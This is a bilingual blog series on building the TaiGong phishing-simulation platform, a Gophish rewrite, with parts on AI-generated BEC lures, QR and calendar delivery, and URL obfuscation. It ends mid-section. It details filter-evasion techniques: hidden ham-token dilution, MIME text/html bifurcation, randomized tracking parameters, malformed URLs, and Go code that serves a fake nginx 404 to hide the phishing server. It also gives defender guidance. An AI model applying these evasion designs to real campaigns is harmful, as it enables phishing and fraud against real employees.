毅种循环

邮件钓鱼攻防工程·6：BEC 3.0 与跨渠道编排

Thu, 23 Apr 2026 00:00:00 GMT

本文是「邮件钓鱼攻防工程」系列第6篇。前几篇分别落在协议、内容、凭证和身份链路上；这一篇换到内容从哪里来、怎么规模化、怎么和 SMS/IM 串成互证。当文案不再是人力瓶颈，签名和模版指纹同时失效，单渠道邮件网关如何信任。

语义稀释、AI 辅助生成、多阶段/自动化通道在产品里有设计与局部实现；全链路LLM+自动化编排还不是终态。

0x01 BEC3.0

变的是生成方式。粗分三代，便于对齐讨论，不必当成严格年表：

BEC 3.0 在本文里取两层含义，而不是「用了 ChatGPT」这么浅：

Hoxhunt 等称 AI 生成钓鱼占比在 2025 年末陡升；Microsoft 等称 AI 辅助钓鱼的点击率可数倍于传统手工诱饵。有一个关键点是：「AI 生成」有时只是「疑似 AI 润色」，并不代表一件事情。

0x02 多态化生成：从占位符到编排

2.1 模版引擎的天花板

演练平台和攻击套件里最常见的仍是字符串替换：{{.FirstName}}、{{.CompanyName}}。变量维度有限，结构固定，变种再多也在同一棵语法树里打转。对蓝队而言，这反而是好事，结构指纹、段落骨架、固定 CTA 句式都可以入库。

一旦进入「每封独立重写」，签名路径就断了。StrongestLayer 等对 QR 钓鱼批次的 Jaccard 相似度给出过很低的区间（公开材料里常见约 0.2 量级），意思是：模式匹配经常不回成立基于APT类似的高度定向活动还会更低。

2.2 三层结构（对手模型 / 产品目标）

工程上可拆成三层，和是否用单一 LLM 供应商无关。

（1）上下文感知 发信前先拼上下文，明白自己在说什么事情而不是只丢一句「写一封钓鱼邮件」。

岗位：财务、研发、HR、高管的词表与语气不同；
时效：季末审计、月初 KPI、年终绩效、节假日福利，窗口决定话题。
组织：LinkedIn 公开信息、招聘 JD、新闻稿、年报里的项目与并购。

真实案例就是有一次搞钓鱼的时候，因为事先早早的拿下了一个内部chat账号，经常关注群里的消息，后来正值他们公司搬家，钓鱼就用了相关活动的文案，后来复盘的时候过程甚是有趣，这里不过多展开。

我对taigong的内置AI用的系统提示要求模型「写符合这个场景的内部通知」，而不是「写得像真的」

（2）多态约束 只靠换几个同义词不够。实用约束可以写成：

语义守恒：业务意图（点链 / 提交 / 转账确认）必须保留
个体差异：同批次收件人之间正文相似度压到策略阈值以下
结构变异：段数、句式、称呼、落款随机化

截止至今天，引入了一个非常规的功能，场景是这么个样子：假设你有80个演练目标，按之前的流程是每个人收到的邮件标点符号都是一致的。在1.3.0之后我加入了一项名为语义重写的功能：发送邮件之时，引擎层对邮件进行多态约束编排，结果会让这80个人收到的邮件主体类似，但是信件内容完全不一致。但是带来的后果就是投递状态延迟较高，因为每一个LLM在后台编排的时候会带来0-15s的延迟。我的新方案是：批次母版 + 个体微调：每 N 人一个母版，再替换姓名、部门、项目代号。母版仍可用 LLM 做；微调可以走模版引擎以省延迟和费用。

（3）失败与降级 API 超时、限流、内容审核拦截都是常态。生产编排需要退避、备用模型、以及缓存相同系统提示。

2.3 真实生态里的工业化例子

Fortra FIRE 披露的 Scripted Sparrow（2026 年初前后公开材料）提供了一组数据：

更有启发的是两条战术：

省略附件筛人：不先甩发票，等对方主动要附件，再进入高转化对话。
伪造回复链：看起来像和咨询公司「聊过几轮」，降低首次冷邮件的戒心。

0x03 语义稀释

多态解决「每封不一样」。语义稀释解决另一件事：在词袋 / 贝叶斯 / 部分 NLP 网关眼里，邮件要不要被当垃圾。

3.1 长什么样

SpamAssassin、Rspamd 一类引擎对内容层常用对数似然比：

超过阈值就倾向 spam。分类器吃的是 token 分布，不是「人读到的意思」。因此注入足够多的 ham 倾向 token，可以把往下拽——这是数学上的对抗，不是玄学。

现代网关还有意图分类、实体抽取、模版指纹等 NLP 层。稀释设计通常是多维一起动，而不是只塞关键词。

3.2 三维注入（设计视角）

TaiGong 语义稀释方案把攻击面拆成：

Token 稀释 按恶意 token 数量的一定倍率注入商务/会议/预算类 ham 词，并用 HTML 隐藏、CSS 位移、font-size:0 等手段对人不可见、对部分解析器仍可见。

结构 / 意图中毒 在 urgency + action 窗口前后塞中性句，打断「点这里验证」的意图模式；也可掺合法邮箱、合法域名实体当噪声。

MIME 层分叉 multipart/alternative 里 text/plain 写良性纪要，text/html 写诱饵。

配置面设想包括稀释级别、MIME 稀释开关、预览 diff 等，挂在武器化/规避配置侧。是否每个客户构建都打开、是否默认启用，以授权与配置为准。

0x04 跨渠道：互证是认知问题，也是编排问题

单渠道邮件被培训和网关磨过一轮之后，对手会叠 SMS、企业 IM。原理不复杂：人更容易相信「两个渠道都这么说」，却很少验证两个渠道是否同一操控方。

4.1 典型三阶段链

Stage1 邮件（升级/审计/工资） ──12h 未点──► Stage2 短信催办
                                              │
                                              ▼ 仍未转化
                                         Stage3 企业 IM 机器人「待办提醒」

点链即停后续，避免重复轰炸。时间窗太短像脚本，太长人已冷静——工程上常用延迟队列

4.2 工程组件（与 TaiGong 对齐）

跨渠道检测超出单一 SEG：SIEM 要能在短时间窗内关联「同主题邮件 + 短信+以及脱离平台的人为不可控因素。

4.3 演练伦理

多渠道会显著提高压力与转化，也更容易造成恐慌。内外部演练应写明渠道范围、时段、退出机制；对外演示避免用真实转账话术压测财务岗。

0x05 2025–2026 生态切片

下列条目只作威胁画像

Scripted Sparrow（Fortra 等） 定向 BEC、AI生成，混合生成与自动化回复；故意省略附件筛选配合者。

Phantom Squatting（Unit 42 等） 模型幻觉出不存在域名 → 攻击者抢注 → 用户或 Agent 访问中招。对 BEC 的启示是：LLM 可能成为分发面，员工信的是助手推荐而不是陌生发件人。

深度伪造 语音/视频冒充高管已有公开损失案例；「深度伪造即服务」压低门槛。邮件培训挡不住视频会，财务流程必须带外核实。

公开调研里过去一年遭遇过 AI 驱动攻击的比例往往很高。

0x06 蓝队：假设重写，而不是规则加长

BEC 3.0 打穿的是单一信任链的不足之处。

6.1 制度：带外核实写进流程

涉及转账、改权限、导敏感数据：必须第二个独立通道确认（通讯录里的电话、企业 IM 真人会话），禁止回复原邮件确认。

6.2 行为：关系图与链路漂移

从未通信的 A→B 突然谈钱；
发信时间、抬头格式、Message-ID / X-Mailer / MIME 习惯突变；
SPF/DKIM/DMARC 全绿但路径与历史不一致。

6.3 培训：流程

不要点陌生链接挡不住IM 里同事提醒。培训应落到可演练动作：转账必须二次确认、异常机器人如何报、点击后如何一键上报，演练本身要用多态与多渠道测真实缺口。

0x07 收束

上次说到这是工程化的最后一篇，对 TaiGong 这类演练平台，价值在于把上述威胁可供选项的配置出来——模版与 AI 辅助、语义稀释设计、多阶段与 SMS/IM——并在报告里诚实标注用了哪些规避。

对我们只有实现平台感兴趣的，我们也承接商业化员工意识演练，欢迎后台留言咨询。

Hoxhunt, Phishing Trends Report 2026. https://hoxhunt.com/lp/phishing-trends-report-2026
Microsoft Digital Defense Report 2025. https://www.microsoft.com/en-us/security/security-insider/intelligence-reports/microsoft-digital-defense-report-2025
Fortra, Scripted Sparrow. https://www.fortra.com/resources/guides/scripted-sparrow-prolific-bec-threat-group
Palo Alto Networks Unit 42, Phantom Squatting. https://unit42.paloaltonetworks.com/phantom-squatting-hallucinated-web-domains/

系列导航

Email Phishing Eng. · 6: BEC 3.0 Orchestration

Thu, 23 Apr 2026 00:00:00 GMT

This is Part 6 of the “Email Phishing Engineering” series. Earlier parts landed on protocol, content, credentials, and identity chains; this one shifts to where copy comes from, how it scales, and how it is woven with SMS/IM into mutual corroboration. When writing is no longer the human bottleneck, signatures and template fingerprints fail together—and a single-channel mail gateway no longer knows what to trust.

Semantic dilution, AI-assisted generation, and multi-stage/automated channels exist in the product as designs and partial implementations; full-chain LLM + automation orchestration is not yet a final state.

0x01 BEC 3.0

What changes is how content is generated. A rough three-generation split helps align discussion; treat it as a framing device, not a strict chronology:

BEC 3.0 here carries two layers of meaning—not the shallow reading of “they used ChatGPT”:

Hoxhunt and others report a steep rise in AI-generated phishing share by late 2025; Microsoft and others report click rates for AI-assisted phishing several times those of traditional hand-crafted lures. A critical caveat: “AI-generated” is sometimes only “suspected AI polish,” and those are not the same thing.

0x02 Polymorphic generation: from placeholders to orchestration

2.1 The ceiling of template engines

What still dominates exercise platforms and attack kits is string substitution: {{.FirstName}}, {{.CompanyName}}. Variable dimensions are limited, structure is fixed, and no matter how many variants you mint, they spin inside the same syntax tree. For blue teams that is actually good news: structural fingerprints, paragraph skeletons, and fixed CTA phrasing can all be catalogued.

Once you enter “independent rewrite per message,” the signature path breaks. StrongestLayer and others have reported very low Jaccard similarity on QR-phishing batches (public materials often cite ~0.2 order of magnitude)—meaning pattern matching often simply does not fire. Highly targeted APT-style activity will be even lower.

2.2 Three-layer structure (adversary model / product goal)

Engineering can be split into three layers, independent of whether you use a single LLM vendor.

(1) Context awareness Before send, assemble context so the system knows what business situation it is speaking into—not merely “write a phishing email.”

Role: finance, R&D, HR, and executives have different vocabularies and tone;
Timing: quarter-end audit, month-start KPIs, year-end performance, holiday benefits—the window decides the topic.
Organization: LinkedIn public data, job postings, press releases, annual reports—projects and M&A.

A real case: during one phishing engagement we had long since owned an internal chat account and regularly watched group traffic. When the company was relocating, the lure used copy about that move. The post-mortem was entertaining; I will not expand here.

For TaiGong’s built-in AI, the system prompt requires the model to “write an internal notice that fits this scenario,” not to “write something that looks real.”

(2) Polymorphism constraints Swapping a few synonyms is not enough. Practical constraints can be written as:

Semantic conservation: business intent (click link / submit / wire confirmation) must be preserved
Individual difference: body similarity across recipients in the same batch pushed below a policy threshold
Structural mutation: paragraph count, sentence form, salutation, and sign-off randomized

As of today, an unconventional feature has been introduced for this scenario: suppose you have 80 exercise targets; under the old flow every recipient’s mail shared the same punctuation and skeleton. After 1.3.0 I added semantic rewrite: at send time the engine layer applies polymorphism-constraint orchestration so those 80 people receive bodies that are thematically similar but fully inconsistent in wording. The cost is higher delivery-status latency, because each LLM orchestration pass in the background can add 0–15s of delay. My newer scheme is batch master + individual fine-tune: one master per N recipients, then substitute name, department, project code. Masters can still be LLM-made; fine-tuning can stay on the template engine to save latency and cost.

(3) Failure and degrade API timeouts, rate limits, and content-moderation blocks are normal. Production orchestration needs backoff, fallback models, and caching of identical system prompts.

2.3 Industrial examples in the real ecosystem

Fortra FIRE’s disclosure of Scripted Sparrow (public materials around early 2026) supplies a useful data set:

Two tactics are more instructive still:

Omit the attachment to filter cooperators: do not dump an invoice first; wait for the other side to ask for an attachment, then enter a high-conversion dialogue.
Forge a reply chain: make it look as if a few rounds have already been had with a consulting firm, lowering the guard on a cold first mail.

0x03 Semantic dilution

Polymorphism solves “every message is different.” Semantic dilution solves something else: in the eyes of bag-of-words / Bayes / some NLP gateways, whether the mail should be treated as spam at all.

3.1 What it looks like

SpamAssassin, Rspamd, and similar engines commonly use log-likelihood ratios at the content layer: exceed the threshold and the message tilts toward spam. The classifier consumes token distributions, not “what a human reads as meaning.” Inject enough ham-leaning tokens and you can drag that score down—this is mathematical adversarial craft, not mysticism.

Modern gateways also have intent classification, entity extraction, template fingerprinting, and other NLP layers. Dilution design usually moves on several dimensions at once, not merely stuffing keywords.

3.2 Three-dimensional injection (design view)

TaiGong’s semantic-dilution approach splits the attack surface into:

Token dilution Inject business/meeting/budget ham words at a multiple of the malicious-token count, and hide them from humans—but leave them visible to some parsers—via HTML hiding, CSS offsets, font-size:0, and similar tricks.

Structure / intent poisoning Insert neutral sentences around the urgency + action window to break the “click here to verify” intent pattern; also mix in legitimate email addresses and legitimate domain entities as noise.

MIME-layer bifurcation In multipart/alternative, text/plain carries a benign meeting summary; text/html carries the lure.

Config-surface ideas include dilution level, a MIME-dilution switch, preview diffs, and so on, hanging off weaponization/evasion configuration. Whether any given customer build turns these on, and whether they are default-on, is governed by authorization and configuration.

0x04 Cross-channel: mutual corroboration is a cognitive problem and an orchestration problem

After single-channel email has been ground down by training and gateways, adversaries stack SMS and enterprise IM. The principle is simple: people more readily believe “two channels said the same thing,” yet rarely verify whether both channels share the same controller.

4.1 A typical three-stage chain

Stage1 email (upgrade/audit/payroll) ──12h no click──► Stage2 SMS nudge
                                                      │
                                                      ▼ still no conversion
                                                 Stage3 enterprise IM bot “todo reminder”

Stop follow-ups on click to avoid repeated bombardment. Windows that are too short look scripted; windows that are too long let people cool off—engineering typically uses a delay queue.

4.2 Engineering components (aligned with TaiGong)

Cross-channel detection is beyond a single SEG: SIEM must correlate, within a short time window, same-theme email + SMS—plus the human, out-of-platform factors that no platform fully controls.

4.3 Exercise ethics

Multi-channel significantly raises pressure and conversion, and more easily causes panic. Internal and external exercises should state channel scope, time windows, and exit mechanisms; external demos should avoid real wire-transfer scripts against finance roles.

0x05 2025–2026 ecosystem slices

The following items are threat portraits only.

Scripted Sparrow (Fortra et al.) Targeted BEC, AI generation, hybrid generation and automated replies; deliberate omission of attachments to filter cooperators.

Phantom Squatting (Unit 42 et al.) Model hallucination invents non-existent domains → attackers register them → users or agents hit them. Implication for BEC: the LLM can become a distribution surface; employees trust the assistant’s recommendation more than a stranger’s From: line.

Deepfakes Voice/video impersonation of executives already has public loss cases; “deepfake-as-a-service” lowers the barrier. Email training will not stop a video meeting; finance processes must include out-of-band verification.

Public surveys often show a high share of organizations hit by AI-driven attacks in the past year.

0x06 Blue team: rewrite assumptions, not just lengthen rules

What BEC 3.0 punches through is the thinness of any single trust chain.

6.1 Process: write out-of-band verification into the workflow

For wires, permission changes, or export of sensitive data: confirmation must use a second independent channel (a phone number from the directory, a live enterprise-IM conversation with a real person). Never confirm by replying to the original mail.

6.2 Behavior: relationship graphs and path drift

A→B who have never communicated suddenly talk money;
Send time, header format, Message-ID / X-Mailer / MIME habits mutate;
SPF/DKIM/DMARC all green, but the path disagrees with history.

6.3 Training: process

“Don’t click strange links” will not stop a colleague’s reminder in IM. Training should land on rehearsable actions: wires require second confirmation, how to report an anomalous bot, one-click report after a click. The exercise itself should use polymorphism and multi-channel to measure real gaps.

0x07 Closing

Last time I said this was the last engineering piece. For exercise platforms like TaiGong, the value is making the threats above available as optional configuration—templates and AI assist, semantic-dilution design, multi-stage and SMS/IM—and honestly labeling in reports which evasions were used.

For those interested only in the platform implementation: we also take commercial employee-awareness exercises; feel free to leave a message for consults.

Hoxhunt, Phishing Trends Report 2026. https://hoxhunt.com/lp/phishing-trends-report-2026
Microsoft Digital Defense Report 2025. https://www.microsoft.com/en-us/security/security-insider/intelligence-reports/microsoft-digital-defense-report-2025
Fortra, Scripted Sparrow. https://www.fortra.com/resources/guides/scripted-sparrow-prolific-bec-threat-group
Palo Alto Networks Unit 42, Phantom Squatting. https://unit42.paloaltonetworks.com/phantom-squatting-hallucinated-web-domains/

Series navigation

邮件钓鱼攻防工程·5：无链接投递与 QR 码

Sun, 19 Apr 2026 00:00:00 GMT

本文是「邮件钓鱼攻防工程」系列的第 5 篇。篇幅不长：其实没啥好说的了，所以单纯拎二维码投递链路实现开个坑。

0x01 设计原点：危险不一定住在 URL 里

1.1 SEG 流水线的隐含公理

主流邮件安全网关（无论是 SpamAssassin/Rspamd 思路的开源栈，还是 Defender / Proofpoint 一类商业 SEG）在「链接类威胁」上，常见是同一条流水线：

MIME 拆包 → 文本/HTML 抽 URL → 信誉 / 沙箱 / 重写

Part 3 的贝叶斯与 NLP，加在这条流水线的内容评分侧；Part 4/5 讨论点击之后钓鱼站怎么活。整条链有一个很少写进需求文档的前提：

威胁载体最终会以「字符串形式的 URL」出现在可解析的邮件层里。

「无链接投递」不是修辞，而是对这条公理的否定。否定至少有2种工程形态

| 形态 | 信任从哪迁到哪 | 网关「抽 URL」是否还在主路径上 | | :-- | :-- | :-- | | 日历 / .ics | 邮件客户端 → 日历库 → 系统通知 | 常常不在：入口是 text/calendar 或附件 | | 二维码 | 桌面渲染环境 → 手机相机与蜂窝出口 | 在图里：有 URL，但不在文本抽取层 |

payload 形态和持久性都不同。再次之前，可以先聊一下Exchange日历钓鱼。

0x02 日历通道：CalPhishing（日历钓鱼）

2.1 iCalendar / iMIP 在邮件里长什么样

RFC 5545 定义日历对象；经邮件投递时常用 iMIP（RFC 6047）。MIME 上典型是：

Content-Type: text/calendar; method=REQUEST; charset="UTF-8"

或把 .ics 当附件。核心是 VEVENT。METHOD:REQUEST 表示请把这件事当作会议请求处理。

攻击者利用 iCalendar（.ics）文件，能在部分客户端/租户策略下，把未充分验证的会议推进用户日历（例如 Outlook 侧常见「暂定」一类呈现）。用户有没有删原邮件是一回事；邀请是否已经进入日程服务是另一回事

2.2 为什么这比附件里藏 exe 更难防

传统附件威胁模型是：附件 = 潜在可执行 / 宏 / 脚本 → 沙箱检测。.ics 大部分情况被归类为结构化数据，走日历解析器，不走附件威胁主路径。

更麻烦的是持久性：

用户删除原邮件，不等于删除日历项；
桌面删了，手机同步可能还在。

2.3 实现层风险：CVE-2025-27915

日历通道不只有社工。2025 年公开的 CVE-2025-27915（Zimbra Classic Web Client）是对日历相关内容消毒不足导致的存储型 XSS，已被用于定向活动，并进入 CISA KEV。公开报道将其与恶意 .ics 投递路径联系在一起。

工程含义：

.ics 在「实现有洞」时可以是 RCE / 会话面风险，不只是弹窗社工；

0x03 二维码：控制面被物理切开

3.1 迁出模型

用户在办公 PC 看信，掏出手机扫码——几秒内发生：

桌面（常：EDR / AV / 企业代理）
        │  相机扫码
        ▼
手机（常：无 EDR / 移动网络 / 个人机）
        │
        ▼
落地页 / 钓鱼站

二维码在检测上的位置是：

有 URL，所以不是真·无链接；
URL 不在文本层，所以对抽 <a href> 的 SEG 主路径是盲点；
打开动作发生在另一套控制面，桌面侧 EDR / AV / 代理策略可能全部看不到真正打开落地页的那一跳。

3.2 taigong 的实现方案

工程上分两截，对应两种演练姿势：

发信嵌入：模板字段 qrsize（JSON qrsize）非空则生成二维码；models/qr_code.go 用 skip2/go-qrcode 出 PNG → base64；EmailRequest 在 QRBase64 有值时追加 image/png 附件（vanillaFile）。
钓鱼站即时出图：/qrcode（QRHandler），受 EnableQRCode 控制；关闭时与未知流量一样走伪装 404/跳转（与 Part 4 未知流量哲学一致）。

0x04 结束

Part 3/4 默认「点的是邮件里的链」。本篇是无链接投递，把检测面从客户端放到移动端上。后面应该还会有一篇LLM多态化生成文案模板的引擎介绍，别的应该不会再写了（没有大更新的前提下，现有的能力基本也够用了。）

系列导航

Email Phishing Engineering · 5: Linkless Delivery & QR Codes

Sun, 19 Apr 2026 00:00:00 GMT

This is Part 5 of the “Email Phishing Engineering” series. It is short on purpose: there is not much left to say, so this post simply opens the QR delivery pipeline as a work-in-progress.

0x01 Design origin: danger does not have to live in the URL

1.1 The implicit axiom of SEG pipelines

Mainstream secure email gateways—whether open-source stacks in the SpamAssassin/Rspamd tradition or commercial SEGs such as Defender and Proofpoint—tend to share the same pipeline for “link-class” threats:

MIME unpack → extract URLs from text/HTML → reputation / sandbox / rewrite

Part 3’s Bayes and NLP sit on the content scoring side of this pipeline; Parts 4/5 discuss how a phishing site stays alive after the click. The whole chain rests on a premise that rarely makes it into requirements docs:

The threat carrier will ultimately appear as a string-form URL in a parseable mail layer.

“Linkless delivery” is not rhetoric; it is a negation of that axiom. The negation shows up in at least two engineering shapes:

Payload shape and persistence differ. Before we go further, a brief look at Exchange calendar phishing.

0x02 The calendar channel: CalPhishing

2.1 What iCalendar / iMIP looks like in email

RFC 5545 defines calendar objects; when delivered by mail, iMIP (RFC 6047) is common. On the MIME side a typical form is:

Content-Type: text/calendar; method=REQUEST; charset="UTF-8"

Or the .ics is attached. The core is VEVENT. METHOD:REQUEST means “please treat this as a meeting request.”

By abusing iCalendar (.ics), an attacker can—under some client/tenant policies—push insufficiently validated meetings into the user’s calendar (Outlook often surfaces them as something like “Tentative”). Whether the user deleted the original message is one question; whether the invite already landed in the calendar service is another.

2.2 Why this is harder to defend than an exe in an attachment

The traditional attachment threat model is: attachment = potentially executable / macro / script → sandbox. In most cases .ics is classified as structured data, routed through a calendar parser, and never hits the main attachment-threat path.

Persistence makes it worse:

Deleting the original mail is not the same as deleting the calendar item;
Delete it on the desktop and the phone sync may still hold it.

2.3 Implementation-layer risk: CVE-2025-27915

The calendar channel is not only social engineering. The publicly disclosed CVE-2025-27915 (Zimbra Classic Web Client) is a stored XSS from insufficient sanitization of calendar-related content. It has been used in targeted campaigns and is listed in CISA KEV. Public reporting ties it to malicious .ics delivery paths.

Engineering implication:

When the implementation is buggy, .ics can be an RCE / session-surface risk, not merely a pop-up social-engineering trick;

0x03 QR codes: the control plane is physically split

3.1 Migration model

The user reads mail on the office PC, pulls out a phone, and scans—within seconds:

Desktop (often: EDR / AV / enterprise proxy)
        │  camera scan
        ▼
Phone (often: no EDR / mobile network / personal device)
        │
        ▼
Landing page / phishing site

Where QR sits in detection:

There is a URL, so this is not truly linkless;
The URL is not in the text layer, so SEG main paths that extract <a href> are blind to it;
The open happens on another control plane, so desktop-side EDR / AV / proxy policy may never see the hop that actually loads the landing page.

3.2 TaiGong’s implementation approach

Engineering splits into two halves, matching two exercise postures:

Embed at send time: if the template field qrsize (JSON qrsize) is non-empty, generate a QR; models/qr_code.go uses skip2/go-qrcode to produce a PNG → base64; when EmailRequest has a value in QRBase64, it appends an image/png attachment (vanillaFile).
On-the-fly image from the phishing site: /qrcode (QRHandler), gated by EnableQRCode; when off, unknown traffic is handled like other unknown traffic with a camouflaged 404/redirect (same philosophy as Part 4).

0x04 Closing

Parts 3/4 assume “the click is on a link in the mail.” This part is about linkless delivery: moving the detection surface from the client onto the mobile end. There should still be a later piece on an LLM polymorphic template-generation engine; beyond that I probably will not write more (absent major updates, existing capabilities are largely enough).

Series navigation

邮件钓鱼攻防工程·4：参数多态与响应伪装

Wed, 15 Apr 2026 00:00:00 GMT

字数 4101，阅读大约需 21 分钟

本文是「邮件钓鱼攻防工程」系列第4篇。这篇解决"访问的是什么"：URL 参数结构本身就是最显眼的特征。Gophish 十年没变的 ?id=Ab7Xk2Q 在 WAF 面前就是一条完美的正则签名。这篇从 RID 的代码细节讲到盲搜算法的工程实现，再到 404 伪装的细节。

作者：可惜夜

首发wx Yofune安全研究

0x01 参数名即指纹

Gophish 的追踪 URL，在当下的攻防格局里，很难度过完整的周期。

很明显的一个原因是：URL 参数结构本身就是指纹。Gophish 十年来的 ?id=Ab7Xk2Q 模式，在 ModSecurity Core Rule Set、FortiWeb、AWS WAF、Cloudflare WAF 里，一条正则就能做到接近零误报的拦截：

SecRule ARGS:id "^[a-zA-Z0-9_-]{7}$" "id:100001,deny"

这条规则之所以致命，不在它是"已知攻击签名"，而在它天然排除合法业务。没有任何正常网站的 URL 会在 id 参数里塞一个恰好 7 位的随机串。Gophish 的 RID 用 64 字符集（[a-zA-Z0-9_-]）、7 位、从检测角度看，这本身就是就是个完美的静态特征。

至于防火墙和waf匹配这种"短随机串参数"的规则，对于攻击者而言，是现成的套路。任何开了默认防护的企业网关，拦 Gophish 默认格式的钓鱼链接基本不用额外配置。

Gophish 的架构把钓鱼 Landing Page 和管理后端绑在同一个 HTTP Server 上，这在 OpSec 上几乎是不可能的事情。访问根路由 /，如果红队没配 Landing Page，直接暴露 Gophish 管理端登录页。国内测绘平台（FOFA、ZoomEye、鹰图）早就把 Gophish 管理界面的 HTML 结构、X-Gophish-Contact 响应头、固定 favicon 哈希收进了规则库。

这三个缺陷（固定参数名、管理界面暴露、无 OpSec 设计）本身就是让我对Gophish进行重构的原因之一。

0x02 盲搜 RID：把参数名这个约定干掉

核心思路很直接：取消参数名的固定约定。发信端和收信端不预先约定任何参数名，收信端靠遍历 + 校验来"盲搜" RID。

2.1 算法

这是 taigong controllers/phish.go 里 extractRIDFromRequest 的真实逻辑（精简后）：

HTTP 请求到达
    │
    ▼
先试标准参数名（RecipientParameter）：取值 → 去掉 TransparencySuffix(+)
    │   └─ ridExistsInStorage(id)？存在 → 认领，结束
    ▼
否则：遍历所有 query key（按 key 排序，保证确定性）
    ├── 对每个 value：normalizeRID → isRIDCandidate(正则)
    │       不匹配 → 跳过
    │       匹配 → 去重(seen map) → ridExistsInStorage(id)
    │              存在 → 加入候选集
    │
    ▼
候选集判定：
    ├── 恰好 1 个 → 认领为本次 RID
    ├── > 1 个   → 歧义，直接拒绝（记 warn，返回伪装 404）
    └── 0 个     → 走 POST body 兜底；仍无 → 判定扫描探测，返回伪装 404

关键变化：RID 的识别从"按参数名查"变成"按参数值查 + 库里存在性确认"。参数名可以任意生成，甚至每个目标用不同参数名。

蓝队没法再用 SecRule ARGS:id 拦了，因为参数名成了不可预测的动态量。要检测就得穷举所有参数名、对所有参数值做熵分析，这在多数邮件安全网关上是性能上扛不住的。

2.2 路由层

Gophish 在 route.go 里注册固定路由：

r.HandleFunc("/landing", landingHandler) // 固定路由 + 固定参数名

taigong 用通配路由，路径匹配和参数解析完全解耦，所有非静态路径走同一个 handler，RID 在 handler 内盲搜提取。这样红队能构造完全合法的业务 URL：

https://phish-domain.com/salary/detail?token=XyZ123A
https://phish-domain.com/auth/callback?code=XyZ123A&state=abc
https://phish-domain.com/notice?session_id=XyZ123A

参数名在发信时从词库随机选：token、sid、auth_state、session_key、code、ticket、nonce、sign。词库可扩展，能针对目标公司的内部命名习惯定制，比如用阿里云系的企业给 ticket，微软系给 session_state。

2.3 工程边界

盲搜有几个边界要处理，下面举例几个代码实现：

歧义即拒绝。如果一次请求里有多个参数值都通过了正则、且都在库里存在，extractRIDFromRequest 不猜，直接记一条 RID 解析歧义，命中多个候选值，已拒绝请求 然后返回 404。这是比"截断到前 N 个参数"更稳的防注入思路：攻击者塞一堆候选 RID 想撞库，结果是一律拒绝。参数遍历本身的开销因此也被这层拒绝兜住了。

数据库索引是硬要求。r_id 列上必须有 UNIQUE INDEX。SQLite 里 WHERE r_id = ? 没索引就退化成全表扫描，百万级 result 记录下每次盲搜几百毫秒；有索引是 O(log n)，微秒级。这是能不能上生产的分水岭。

正则 + 库双校验。isRIDCandidate 卡字符集和长度，但一个恰好 7 位的普通表单值（比如半截密码）统计上会出现，所以数据库存在性确认是正则之后的兜底：正则过但库里不存在，照样不算 RID。

盲搜消掉了参数名特征，但留了个新口子：参数值暴力枚举。构造大量含候选 RID 的请求，每个都触发一次库查询。有 UNIQUE INDEX 保护不至于拖垮库，但批量枚举本身是流量异常。对付这个，靠的是上一篇文章讲的那套 IP/频率/UA 评分，不是盲搜算法自己。

0x03 参数多态与路径伪装

3.1 Gophish 的固定路径遗产

Gophish 在 controllers/route.go 里注册了一批固定钓鱼路由：/（Landing）、/track（打开追踪）、/report（凭证提交）、/robots.txt、/{path}、/static/{filename}。这些路径是预先注册、不可变的。蓝队或 WAF 拦掉 /track、/report 这几条固定路径，数据回传就断了，几条规则的事情。

3.2 把整个路径空间交给盲搜

taigong 的做法是把几乎所有路径都收进盲搜逻辑，除了少数静态资源（/static/）、追踪像素（pixel.png）、robots.txt、/report、/download 这类必要端点单独注册，其余统一进 phishHandler。

于是 URL 结构的空间一下子撑开了：

兼容格式：/?id=XyZ123A（向后兼容 Gophish）
token 路径：/salary/detail?token=XyZ123A
OAuth 风格：/auth/callback?code=XyZ123A&state=abc
RESTful：/api/v1/notice/XyZ123A（RID 嵌进路径）
Hash 路由：/#/verify/XyZ123A（SPA，参数在 fragment）

最后一种对邮件网关的 URL 提取特别有效，大多数 URL 解析器不提取 fragment，而 React/Vue 这类 SPA 在客户端会正常解析 fragment 里的 RID。

3.3 畸形参数

SANS ISC 的 Xavier Mertens 在 2026 年 2 月的 diary（《Broken Phishing URLs》）里记录过一个正在被大规模使用的参数逃避技术：故意构造不符合 HTTP 规范的畸形参数，比如：

https://phish-domain.com/?dC=handler@domain&*(Df

&*(Df 按 HTTP 标准是无效参数名，但所有主流浏览器静默忽略它，页面照常加载。WAF、正则检测引擎、IOC 提取管道解析不出 *(Df 这个 key=value，会把整条 URL 标"异常"然后跳过，这正是攻击者要的。

这招本质上是利用"浏览器容错 vs 检测引擎严格"的不对称。浏览器什么都忍，安全工具什么都拒，中间地带全是文章。taigong 的 r.ParseForm() 也会忽略非法参数（Go 标准库行为），所以畸形参数可以当"诱饵参数"，检测工具盯着这些无效参数，反而忽略了藏在合法参数里的真 RID。

3.4 业务参数噪声

更进一步，往 URL 里塞一堆合法业务参数，稀释 RID 的统计学特征：

https://phish-domain.com/report/download
    ?lang=zh-CN
    &tz=Asia%2FShanghai
    &device=mobile
    &version=2.4.1
    &_t=1749283200000
    &sid=ZqW8kPm

这条 URL 里真正被解析的只有 sid=ZqW8kPm，其余全是合法业务里高频出现的参数名和值。蓝队做参数熵分析时，单个高熵值（ZqW8kPm 约 6.0 比特/字符）被一堆低熵值（zh-CN、Asia/Shanghai、mobile ）稀释，整体统计特征向合法流量靠拢。

0x04 Nginx 404 伪装的细节

4.1 为什么是 Nginx 404

自动化扫描工具探测可疑 URL（直接访问根、访问不存在路径、提交无效参数）时，HTTP 响应是暴露身份的关键窗口。

Nginx 在全球 Web 服务器市场长期占三分之一上下（Netcraft Web Server Survey 历年数据），返回一个 Nginx 404 的钓鱼服务器，和大多数合法网站表现一致，不触发特征检测。Gophish 默认的 404 同时暴露两个特征：响应体里的 Gophish 页面结构，以及 Server: Gophish 响应头。

4.2 taigong 的真实实现

taigong 里返回伪装 404 的函数是 controllers/phish.go 里的 renderUnknownResponse，全文就这么几行：

func (ps *PhishingServer) renderUnknownResponse(w http.ResponseWriter, r *http.Request) {
    if redirectURL := ps.currentPhishConfig().UnknownRedirectURL; redirectURL != "" {
        http.Redirect(w, r, redirectURL, http.StatusFound)
        return
    }
    w.WriteHeader(http.StatusNotFound)
    fmt.Fprint(w, `<html>
<head><title>404 Not Found</title></head>
<body bgcolor="white">
<center><h1>404 Not Found</h1></center>
<hr><center>nginx</center>
</body>
</html>`)
}

几个要点：

它先看 UnknownRedirectURL，配了就 302 跳走，没配才返回 404 体。
